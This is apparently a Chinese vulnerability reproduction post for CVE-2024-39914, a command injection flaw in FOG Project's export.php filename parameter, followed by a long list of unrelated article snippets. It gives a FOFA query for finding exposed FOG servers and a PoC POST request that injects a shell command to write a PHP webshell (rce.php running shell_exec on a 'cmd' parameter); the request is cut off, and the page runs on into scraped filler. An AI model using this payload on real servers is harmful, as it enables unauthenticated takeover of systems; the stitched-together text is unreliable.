FOG Project 文件名命令注入漏洞复现（CVE-2024-39914）
0x01 产品简介
FOG是一个开源的计算机镜像解决方案，旨在帮助管理员轻松地部署、维护和克隆大量计算机。FOG Project 提供了一套功能强大的工具，使用户能够快速部署操作系统、软件和配置设置到多台计算机上，从而节省时间和精力。该项目支持基于网络的 PXE 启动、镜像创建和还原、硬件和软件清单管理、远程控制和监视等功能，为 IT 管理员和系统管理员提供了一个全面的工具集。
0x02 漏洞概述
该漏洞在FOGPROJECT中的packages/web/lib/fog/reportmaker.class.php文件受到命令注入漏洞的影响，该漏洞存在于/fog/management/export.php的filename参数，未经身份验证的远程攻击者可利用此漏洞执行任意命令，获取服务器权限。
0x03 影响范围
FOGPROJECT < 1.5.10.34
0x04 复现环境
FOFA：body="FOG Project"
0x05 漏洞复现
PoC
写入Webshell
POST /fog/management/export.php?filename=$(echo+'<?php+echo+shell_exec($_GET['"'cmd'"']);+?>'+>+rce.php)&type=pdf HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac相关文章：
FOG Project 文件名命令注入漏洞复现（CVE-2024-39914）
0x01 产品简介 FOG是一个开源的计算机镜像解决方案，旨在帮助管理员轻松地部署、维护和克隆大量计算机。FOG Project 提供了一套功能强大的工具，使用户能够快速部署操作系统、软件和配置设置到多台计算机上，从而节省时间和精力。该项目支持基于网络的 PXE 启动、镜像创建和还…...
JavaScript 表单
JavaScript 表单 JavaScript 是一种广泛应用于网页开发的编程语言，它能够让网页变得更加动态和交互式。在网页设计中，表单是一个重要的组成部分，它允许用户输入数据并将其提交到服务器。JavaScript 可以用来增强表单的功能，提供更好的用户体验。本文将详细介绍如何使用 Ja…...
python程序设定定时任务
在 Windows 系统上，您可以使用任务计划程序（Task Scheduler）来设置定时任务，执行 Python 文件。以下是具体步骤： 步骤 1：准备 Python 文件 假设有一个名为 script.py 的 Python 脚本。确保它可以在命令行中正确运行。 步骤2：找到Python可执行文件的位置 知道Python可…...
win10 查看 jks 的公钥
1.使用 keytool 导出jks文件的 crt 文件 先查询别名 keytool -list -keystore oauth2.jks -storepass [你的密钥库密码] 导出crt 文件 keytool -exportcert -alias oauth2 -keystore oauth2.jks -file 777.crt 2.查看公钥 打开PowerShell # 设置.crt文件的路径 $ce…...
蓝牙模块在智能体育设备中的创新应用
随着科技的飞速发展，智能体育设备已经成为现代体育训练和健身的重要组成部分。蓝牙模块作为智能体育设备中的核心技术之一，其创新应用不仅提升了设备的智能化水平，也为运动员和健身爱好者带来了前所未有的便利和体验。本文将探讨蓝牙模块在智…...
智能家居和智能家电有什么区别？
智能家居和智能家电在定义、涵盖范围、功能特点以及系统集成度等方面存在显著区别。 一、定义 智能家居：智能家居是指通过物联网技术、人工智能技术等先进技术，将家居设备与互联网连接起来，实现智能化控制和管理的一种新型生活方式。它不仅…...
SpringBoot3 + Vue3 学习 Day 1
springboot 基础 和 注册接口的开发 学习视频基础SpringBoot 概述快速启动配置文件基本使用① application.properties② application.yml （更好） yml 配置信息的书写和获取yml 配置信息书写与获取 1 - Valueyml 配置信息书写与获取 2 - ConfigurationPr…...
如何使用在线工具将手机相册中的图片转换为JPG格式
我们经常在手机相册中保存大量的图片，无论是家庭聚会的照片还是旅行的瞬间，每一幅图像都承载着珍贵的记忆。然而，有时候我们会遇到图片格式不兼容的问题，尤其是在需要将图片分享到特定平台或编辑时。 例如，某些社交平台…...
C#医学影像管理系统源码（VS2013）
目录 一、概述 二、系统功能 系统维护 工作站 三、功能介绍 影像采集 统计模块 专业阅片 采集诊断报告 报告管理 一、概述 医学影像存储与传输系统（PACS）是一种集成了影像存储、传输、管理和诊断功能的系统。它基于数字化成像技术、计算机技术和…...
Qt Creator 项目Console 项目踩坑日记
最近在做QT的项目，但是一直是带界面（QT Widgets）程序，前几天收到个需求，是要做个socket服务端的桌面程序，界面有没有都成，然后就想着接着用 QT Widgets 搞，结果辛辛苦苦把socket服…...
[MAUI 项目实战] 笔记App（一）：程序设计
文章目录 前言框架定义核心类项目地址 系列文章： [MAUI 项目实战] 笔记App（一）：程序设计 [MAUI 项目实战] 笔记App（二）：数据库设计 前言 有人说现在记事类app这么多，市场这么卷&a…...
VisualRules-Web案例展示（一）
VisualRules单机版以其卓越的功能深受用户喜爱。现在，我们进一步推出了VisualRules-Web在线版本，让您无需安装任何软件，即可在任何浏览器中轻松体验VisualRules的强大功能。无论是数据分析、规则管理还是自动化决策，VisualRules-W…...
使用Docker 实现 MySQL 循环复制（三）
系列文章 使用Docker 实现 MySQL 循环复制（一） 使用Docker 实现 MySQL 循环复制（二） 目录 系列文章1. 在主机上安装MySQL客户端2. 配置循环复制拓扑2.1 进入容器2.2 创建复制用户并授予复制权限2.3 复位二进制日志2.4 配置环形复…...
Spring如何管理Mapper
目录 一、背景二、猜测三、源码查看步骤1、创建MapperScannerConfigurer.java2、MapperScan注解3、MapperScannerRegistrar执行registerBeanDefinitions方法4、MapperScannerConfigurer执行postProcessBeanDefinitionRegistry方法5、执行doscan6、设置beanClass7、使用jdk生成代…...
NFS存储、API资源对象StorageClass、Ceph存储-搭建ceph集群和Ceph存储-在k8s里使用ceph（2024-07-16）
一、NFS存储 注意：在做本章节示例时，需要拿单独一台机器来部署NFS，具体步骤略。NFS作为常用的网络文件系统，在多机之间共享文件的场景下用途广泛，毕竟NFS配置方 便，而且稳定可靠。NFS同样也有一些缺点&…...
「Vue组件化」封装i18n国际化
前言 在Vue应用中实现国际化（i18n），通常需要使用一些专门的库，比如vue-i18n。本文主要介绍自定义封装i18n，支持Vue、uniapp等版本。 设计思路 一、预期效果 二、核心代码 2.1 i18n.xlsx文件准备 2.2 脚本执行 根目录main.js根目录locali18n.xlsxnode main.jsmain.js 文件…...
【Git远程操作】理解分布式管理 | 创建远程仓库
目录 1.理解分布式管理 多人协作开发 2.创建远程仓库 2.1仓库名&路径 2.2初始化仓库&设置模板 1.理解分布式管理 目前我们学习的所有内容都是在本地来完成的。（add /commit /版本撤销回退/分支管理） Git是一个分布式 的版本控制系统。 分支…...
OJ-0718
示例1 input 3 1 1 1 output 0示例2 input 3 3 7 10 output 1示例3 input 4 3 7 10 16 output 3题解1：List {public static void main(String[] args) {Scanner in new Scanner(System.in);int num in.nextInt();List<Integer> list new ArrayList<…...
python抓包 -- 用wireshark抓包、解析--scapy、PyShark
一、 安装scapy模块 1、打开DOS命令行 python -m pip install scapy2、sniff()函数 功能：数据嗅探 参数： iface: 指定在哪个网络接口上抓包 count: 表示要捕获数据包的数量。默认为0(不限制数量) filter: 流量的过滤规则。使用的是 BPF 的语法 prn:…...
uni-app开发日志：unicloud使用时遇到的问题解决汇总（不断补充）
插件安装后提示与原数据库表冲突（2024.7.18） 安装uni-admin后再安装uni-cms，在uni-admin中添加好菜单，结果提示该错误 回到hbuilder中uniCloud/database中找到冲突的部分 比较一下，选中老的删除 opendb-news-articl…...
插入排序算法详解
快速排序（Quick Sort）是计算机科学与技术领域中非常经典的一种排序算法，由C. A. R. Hoare在1960年提出。它应用分治思想进行排序，通过对数据进行分区操作，并递归地对分区后的子序列进行排序，从而达到整个序…...
parallel 详细解析 Java 8 Stream API 中的 parallel 方法
详解Java Stream的并行处理（Parallel） Java 8 引入了Stream API，提供了一种便捷而高效的方式来处理集合数据。Stream API使得对数据集合的操作变得更为简洁和易读。 其中，并行流（parallelStream）是Stream …...
不同业务场景下通过mars3d实现绕点旋转效果
1.鼠标单击地图某一处就对该点进行绕点旋转效果 相关代码： 1.相关绕点旋转的初始化代码： const rotatePoint new mars3d.thing.RotatePoint({direction: false, // 方向 true逆时针，false顺时针time: 50 // 给定飞行一周所需时间(单位 秒)&…...
重塑水利未来：智慧水利解决方案的探索与实践，从物联网、大数据到人工智能，科技如何赋能水利行业，实现智慧化管理与决策
本文关键词：智慧水利、智慧水利工程、智慧水利发展前景、智慧水利技术、智慧水利信息化系统、智慧水利解决方案、数字水利和智慧水利、数字水利工程、数字水利建设、数字水利概念、人水和协、智慧水库、智慧水库管理平台、智慧水库建设方案、智慧水库解决方案、智慧…...
IO、进程、线程03
第一题：预习 opendir 和 readdir函数 opendir 和 readdir 是两个在C语言（特别是使用POSIX标准的系统，如Linux和UNIX）中用于目录遍历的函数。这两个函数属于标准的C库中的目录操作部分，通常与<dirent.h>头文件一…...
算法力扣刷题记录 五十二【617.合并二叉树】
前言 二叉树篇，继续。 记录 五十二【617.合并二叉树】 一、题目阅读 给你两棵二叉树： root1 和 root2 。 想象一下，当你将其中一棵覆盖到另一棵之上时，两棵树上的一些节点将会重叠（而另一些不会）。你需要…...
Java中的ArrayList和LinkedList有什么区别？
Java中的ArrayList和LinkedList是两种常用的集合实现类，它们都属于Java集合框架的一部分，但它们在内部实现、性能特点、使用场景等方面存在明显的区别。以下是对这两种集合的详细比较： 1. 数据结构差异 ArrayList：ArrayList是动…...
Linux C++ 058-设计模式之解释器模式
Linux C 058-设计模式之解释器模式 本节关键字：Linux、C、设计模式、解释器模式 相关库函数： 概念 解释器模式（Interpreter Pattern）提供了评估语言的语法或表达式的方式，它属于行为型模式。 解释器模式用于构建一…...
MDK5没有DeviceName
遇到的问题是Jlink驱动问题 不是引脚接反 使用国产GD单片机不同的工程，有的有Device Name,有的没有Device Name（下图是弄好的情况，有Device Name） 硬件链接，和设备都没有问题：无法仿真，无法下…...
在LabVIEW中实现图像矫正
在LabVIEW中实现图像矫正，特别是将倾斜的笔记本图像（如左图）校正为正视图像（如右图），通常需要以下几个步骤： 1. 获取图像 使用图像采集设备或加载图像文件来获取图像数据。 2. 图像预处理 对…...
做网站必须会php吗/seo文章排名优化
一、什么是正则表达式？ 正则表达式(regular expression)描述了一种字符串匹配的模式。这种模式，我们可以理解成是一种“规则”。根据这种规则再去匹配符合条件的结果，而匹配的过程就是检索，查找、提取的过程。正则表达式只能对字…...
专门做国外家具书籍的网站/百度网站排名优化
育软件、程序设计软件、网络软件、工具软件。(三)Word文字处理【教学目的与要求】1、通过本部分的学习，了解Word窗口的组成部分；了解在Word中插入与编辑公式的方法；2、理解Word文字排版中的常见概念；理解word中表格的行、列、单元…...
产品开发计划书/宁波seo怎么做推广渠道
源码路径：dangwei-90/DllLoadAndFree (github.com) DLL显示调用的加载和卸载顺序：[DLL] dll 的加载和卸载顺序 (显示调用)_二七-CSDN博客 dll 分为显示加载和隐式加载。 假设 program 加载 dllA , 而dllA 加载 dllB, 隐式加载顺序如下： 1.…...
网站建设用什么软件/抖音优化公司
文章目录1.包装类自动装箱拆箱基本类型与字符串类型的转换包装类的比较与数值类型的值进行比较包装类与包装类的比较通过自动装箱比较compare比较包装类2.处理对象打印对象和toString方法和equals（）方法用法对比“hello”和new String("hello"…...
网站建设微信公众号小程序制作/今日足球比赛分析推荐
点击上方“iOS开发”，选择“置顶公众号”关键时刻，第一时间送达！作者：mirrorzyb链接：https://www.jianshu.com/p/5d836e89d9d1iOS开发整理发布，转载请联系作者获得授权Fastlane是一套使用Ruby写的自动化工具…...
三好街 做网站/企业营销平台
Gradle是可以用于Android开发的新一代的 Build System， 也是 Android Studio默认的build工具。 Gradle脚本是基于一种JVM语言 -- Groovy，再加上DSL（领域特定语言）组成的。 因为Groovy是JVM语言，所以可以使用大部分的Ja…...